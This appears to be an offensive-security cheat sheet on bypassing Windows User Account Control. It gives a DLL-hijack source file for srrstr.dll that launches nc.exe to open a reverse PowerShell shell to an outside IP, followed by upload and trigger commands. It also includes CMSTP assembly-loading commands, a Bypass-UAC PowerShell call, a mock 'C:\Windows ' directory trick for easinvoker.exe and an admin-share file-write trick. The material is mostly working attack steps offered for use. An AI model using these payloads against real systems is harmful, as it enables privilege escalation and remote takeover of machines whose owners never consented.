UAC Bypass
User Account Control
Enumeration
Check current token privileges and UAC settings with Seatbelt:
PS > .\Seatbelt.exe TokenPrivileges UACSystemPropertiesAdvanced.exe
srrstr.dll DLL hijacking.
// i686-w64-mingw32-g++ srrstr.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved) {
switch(dwReason) {
case DLL_PROCESS_ATTACH:
WinExec("C:\\Users\\<USERNAME>\\Documents\\nc.exe 10.10.13.37 1337 -e powershell", 0);
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return 0;
}Upload srrstr.dll to C:\Users\%USERNAME%\AppData\Local\Microsoft\WindowsApps\ and check it:
PS > rundll32.exe srrstr.dll,xyzExec and get a shell ("requires an interactive window station"):
PS > cmd /c C:\Windows\SysWOW64\SystemPropertiesAdvanced.execmstp.exe
Compile from source, load and execute:
PS > Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"
PS > [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll"))
PS > [CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")Load from a weaponized PowerShell and execute:
PS > Bypass-UAC -C "C:\Windows\System32\cmd.exe"easinvoker.exe
mkdir "\\?\C:\Windows "
mkdir "\\?\C:\Windows \System32"
copy c:\windows\system32\easinvoker.exe "C:\Windows \System32"
copy netutils.dll "C:\Windows \System32"
"C:\Windows \System32\easinvoker.exe"
del /q "C:\Windows \System32\*"
rmdir "C:\Windows \System32"
rmdir "C:\Windows \"fodhelper.exe
SilentCleanup
SCM UAC Bypass
Task Scheduler
Tricks
Bypass UAC for file read/write:
Cmd > net use A: \\127.0.0.1\C$
Cmd > A:
Cmd > cd \Windows\System32
Cmd > echo test > test.txt
Cmd > dir test.txtLast updated